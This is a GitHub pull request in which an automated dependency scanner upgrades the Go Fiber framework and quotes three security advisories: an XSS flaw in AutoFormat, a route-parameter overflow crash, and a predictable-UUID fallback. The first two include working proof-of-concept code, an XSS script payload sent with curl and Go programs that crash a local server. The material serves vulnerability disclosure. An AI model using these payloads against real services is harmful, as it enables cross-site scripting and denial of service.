[Cycode] Fix for vulnerable manifest file dependency - github.com/gofiber/fiber/v2 updated to version 2.52.9#19
Conversation
…iber/fiber/v2 updated to version 2.52.9
|
|
||
| require ( | ||
| github.com/gofiber/fiber/v2 v2.32.0 | ||
| github.com/gofiber/fiber/v2 v2.52.9 |
There was a problem hiding this comment.
❗Cycode: Security vulnerability found in newly introduced dependency.
| Severity | Medium |
| Issue | Fiber vulnerable to XSS in AutoFormat Content Negotiation: CVE-2026-42554 |
| Ecosystem | Go |
| Dependency | github.com/gofiber/fiber/v2 |
| Dependency Paths | github.com/gofiber/fiber/v2 2.52.9 |
| Direct Dependency | Yes |
| Upgrade | 2.52.13 |
Summary
Description
A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12.
The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply."
Details
The issue resides in res.go within (*DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly.
The "html" branch concatenates the stringified body directly into HTML markup with no output encoding:
acceptcomes fromr.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on anyAutoFormat()call regardless of which format the developer tested against.bis produced frombodyvia direct assignment (string/[]byte) orfmt.Sprintf("%v", body). Nohtml.EscapeStringis applied.- The resulting string is sent as
text/html; charset=utf-8, so browsers render it as active HTML.
// res.go
func (r *DefaultRes) AutoFormat(body any) error {
accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor")
r.Type(accept)
var b string
switch val := body.(type) {
case string:
b = val
case []byte:
b = r.c.app.toString(val)
default:
b = fmt.Sprintf("%v", val)
}
switch accept {
case "txt":
return r.SendString(b)
case "json":
return r.JSON(body)
case "xml":
return r.XML(body)
case "html":
return r.SendString("<p>" + b + "</p>")
case "msgpack":
return r.MsgPack(body)
case "cbor":
return r.CBOR(body)
}
return r.SendString(b)
}Impact
This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (*Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data.
A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path.
This may result in:
- Reflected XSS in the application's origin via any request-derived value reaching
AutoFormat. - Stored XSS where the reflected value originates from persisted input later passed to
AutoFormat.
Proposed Patch
The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options:
AutoFormat()should treatbodyas data, not markup, in the"html"branch and escape it before concatenating it into the framework-generated<p>wrapper. Callers that need raw negotiated HTML should useFormat()with an explicit HTML handler.- Introduce a sibling method that escapes, leave
AutoFormatalone for backward compatibility.
HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper.
import "html"
// ...
case "html":
return r.SendString("<p>" + html.EscapeString(b) + "</p>")html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (*Ctx).Format().
Proof of Concept
# Create project directory
mkdir fiber-xss-poc && cd fiber-xss-poc
# Initialize Go module
go mod init fiber-xss-poc
# Install Fiber v3
go get github.com/gofiber/fiber/v3
# Create the PoC file
cat > main.go << 'EOF'
package main
import (
"github.com/gofiber/fiber/v3"
)
type User struct {
ID int `json:"id"`
Name string `json:"name"`
}
func main() {
app := fiber.New()
app.Get("/api/user", func(c fiber.Ctx) error {
user := User{
ID: 1,
Name: c.Query("name", "anonymous"),
}
return c.AutoFormat(user)
})
app.Listen(":3000")
}
EOF
# Run it
go run main.go
}Benign JSON
curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json'
{"id":1,"name":"Alice"}HTML sink enables XSS
curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html'
<p>{1 <script>alert(document.domain)</script>}</p>Description
Detects when new vulnerabilities affect your dependencies.
Tell us how you wish to proceed using one of the following commands:
| Tag | Short Description |
|---|---|
| #cycode_ignore_manifest_here <reason> | Applies to this manifest in this request only |
| #cycode_ignore_package_everywhere <reason> | Applies to this manifest for this package for all requests in your repository |
| #cycode_ignore_package_here <reason> | Applies to this manifest for this package in this request only |
| #cycode_vulnerable_package_fix_this_violation | Fix this violation via a commit to this branch |
|
|
||
| require ( | ||
| github.com/gofiber/fiber/v2 v2.32.0 | ||
| github.com/gofiber/fiber/v2 v2.52.9 |
There was a problem hiding this comment.
❗Cycode: Security vulnerability found in newly introduced dependency.
| Severity | Medium |
| Issue | Fiber has a Denial of Service Vulnerability via Route Parameter Overflow: CVE-2026-25882 |
| Ecosystem | Go |
| Dependency | github.com/gofiber/fiber/v2 |
| Dependency Paths | github.com/gofiber/fiber/v2 2.52.9 |
| Direct Dependency | Yes |
| Upgrade | 2.52.12 |
A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Affected Versions
- Fiber v3.0.0-rc.3 and earlier v3 releases
- Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
- Both versions share the same vulnerable routing implementation
Vulnerability Details
Root Cause
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
const maxParams = 30
type DefaultCtx struct {
values [maxParams]string // Fixed 30-element array
// ...
}The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
- v3:
path.go:514 - v2:
path.go:516
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]When paramsIterator >= 30, this triggers:
panic: runtime error: index out of range [30] with length 30
Attack Scenario
-
Application registers route with >30 parameters (e.g., via code or dynamic routing):
app.Get("/api/:p1/:p2/:p3/.../p35", handler)
-
Attacker sends matching HTTP request:
curl http://target/api/v1/v2/v3/.../v35
-
Server crashes during request processing with runtime panic
Proof of Concept
For Fiber v3
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v3"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9999")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9999/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}Output:
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
/path/to/fiber/router.go:142
For Fiber v2
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c *fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9998")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9998/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}Output (v2):
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
/path/to/fiber/v2@v2.52.10/router.go:127
Impact
Exploitation Requirements
- No authentication required
- Single HTTP request triggers crash
- Trivially scriptable for sustained DoS
- Works against any route with >30 parameters
Real-World Impact
- Public APIs: Remote DoS attacks on vulnerable endpoints
- Microservices: Cascade failures if vulnerable service is critical
- Auto-scaling: Repeated crashes prevent proper recovery
- Monitoring: Log flooding and alert fatigue
Likelihood
HIGH - Exploitation requires only:
- Knowledge of route structure (often public in APIs)
- Standard HTTP client (curl, browser, etc.)
- Single malformed request
Workarounds
Until patched, users should:
-
Audit Routes: Ensure all routes have ≤30 parameters
# Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules
-
Disable Dynamic Routing: If programmatically registering routes, validate parameter count:
paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") }
-
Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
-
Monitoring: Alert on panic patterns in application logs
Timeline
- 2024-12-24: Vulnerability discovered in v3 during PR #3962 review
- 2024-12-25: Proof of concept confirmed exploitability in v3
- 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
- 2024-12-25: Security advisory created
References
- v3 Related PR: 🔥 feat: Implement OverrideParam override behavior for DefaultCtx gofiber/fiber#3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
- Vulnerable Code Locations:
- v3: path.go:514
- v2: path.go:516
Credit
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
Description
Detects when new vulnerabilities affect your dependencies.
Tell us how you wish to proceed using one of the following commands:
| Tag | Short Description |
|---|---|
| #cycode_ignore_manifest_here <reason> | Applies to this manifest in this request only |
| #cycode_ignore_package_everywhere <reason> | Applies to this manifest for this package for all requests in your repository |
| #cycode_ignore_package_here <reason> | Applies to this manifest for this package in this request only |
| #cycode_vulnerable_package_fix_this_violation | Fix this violation via a commit to this branch |
|
|
||
| require ( | ||
| github.com/gofiber/fiber/v2 v2.32.0 | ||
| github.com/gofiber/fiber/v2 v2.52.9 |
There was a problem hiding this comment.
❗Cycode: Security vulnerability found in newly introduced dependency.
| Severity | Critical |
| Issue | Fiber has an insecure fallback in utils.UUIDv4() / utils.UUID() — predictable / zero‑UUID on crypto/rand failure: CVE-2025-66630 |
| Ecosystem | Go |
| Dependency | github.com/gofiber/fiber/v2 |
| Dependency Paths | github.com/gofiber/fiber/v2 2.52.9 |
| Direct Dependency | Yes |
| Upgrade | 2.52.11 |
Fiber v2 contains an internal vendored copy of gofiber/utils, and its functions UUIDv4() and UUID() inherit the same critical weakness described in the upstream advisory. On Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. In such cases, these Fiber v2 UUID functions silently fall back to generating predictable values — the all-zero UUID 00000000-0000-0000-0000-000000000000.
On Go 1.24+, the language guarantees that crypto/rand no longer returns an error (it will block or panic instead), so this vulnerability primarily affects Fiber v2 users running Go 1.23 or earlier, which Fiber v2 officially supports.
Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4().
Impact includes, but is not limited to:
- Session fixation or hijacking (predictable session IDs)
- CSRF token forgery or bypass
- Authentication replay / token prediction
- Potential denial-of-service (DoS): if the zero UUID is generated, key-based structures (sessions, rate-limits, caches, CSRF stores) may collapse into a single shared key, causing overwrites, lock contention, or state corruption
- Request-ID collisions, undermining logging and trace integrity
- General compromise of confidentiality, integrity, and authorization logic relying on UUIDs for uniqueness or secrecy
All Fiber v2 versions containing the internal utils.UUIDv4() / utils.UUID() implementation are affected when running on Go <1.24. No patched Fiber v2 release currently exists.
Suggested Mitigations / Workarounds
Update to the latest version of Fiber v2.
Likelihood / Environmental Factors
It’s important to note that entropy exhaustion on modern Linux systems is extremely rare, as the kernel’s CSPRNG is resilient and non-blocking. However, entropy-source failures — where crypto/rand cannot read from its underlying provider — are significantly more likely in certain environments.
This includes containerized deployments, restricted sandboxes, misconfigured systems lacking read access to /dev/urandom or platform-equivalent sources, chrooted or jailed environments, embedded devices, or systems with non-standard or degraded randomness providers. On Go <1.24, such failures cause crypto/rand to return an error, which the Fiber v2 UUID functions currently treat as a signal to silently generate predictable UUIDs, including the zero UUID. This silent fallback is the root cause of the vulnerability.
References
-
Upstream advisory for
gofiber/utils: GHSA-m98w-cqp3-qcqr -
Source repositories:
github.com/gofiber/fibergithub.com/gofiber/utils
Credits / Reporter
Reported by @sixcolors (Fiber Maintainer / Security Team)
Description
Detects when new vulnerabilities affect your dependencies.
Tell us how you wish to proceed using one of the following commands:
| Tag | Short Description |
|---|---|
| #cycode_ignore_manifest_here <reason> | Applies to this manifest in this request only |
| #cycode_ignore_package_everywhere <reason> | Applies to this manifest for this package for all requests in your repository |
| #cycode_ignore_package_here <reason> | Applies to this manifest for this package in this request only |
| #cycode_vulnerable_package_fix_this_violation | Fix this violation via a commit to this branch |
|
|
||
| require ( | ||
| github.com/gofiber/fiber/v2 v2.32.0 | ||
| github.com/gofiber/fiber/v2 v2.52.9 |
There was a problem hiding this comment.
❗Cycode: Security vulnerabilities found in newly introduced dependency.
| Ecosystem | Go |
| Dependency | github.com/gofiber/fiber/v2 |
| Dependency Paths | github.com/gofiber/fiber/v2 2.52.9 |
| Direct Dependency | Yes |
The following vulnerabilities were introduced:
| GHSA | CVE | Severity | Fixed Version |
|---|---|---|---|
| GHSA-qjv7-627w-8qjv | CVE-2026-42554 | MEDIUM | 2.52.13 |
| GHSA-mrq8-rjmw-wpq3 | CVE-2026-25882 | MEDIUM | 2.52.12 |
| GHSA-68rr-p4fp-j59v | CVE-2025-66630 | CRITICAL | 2.52.11 |
Highest fixed version: 2.52.13
Description
Detects when new vulnerabilities affect your dependencies.
Tell us how you wish to proceed using one of the following commands:
| Tag | Short Description |
|---|---|
| #cycode_ignore_package_everywhere <reason> | Applies to this manifest for this package for all requests in your repository |
| #cycode_ignore_manifest_here <reason> | Applies to this manifest in this request only |
| #cycode_ignore_package_here <reason> | Applies to this manifest for this package in this request only |
| #cycode_vulnerable_package_fix_this_violation | Fix this violation via a commit to this branch |
Cycode Vulnerable Dependencies Update
This pull request updates the following manifest file:
infrastructure/health-check/go.mod📂 infrastructure/health-check/go.mod
1 package will be updated to resolve vulnerabilities:
github.com/gofiber/fiber/v2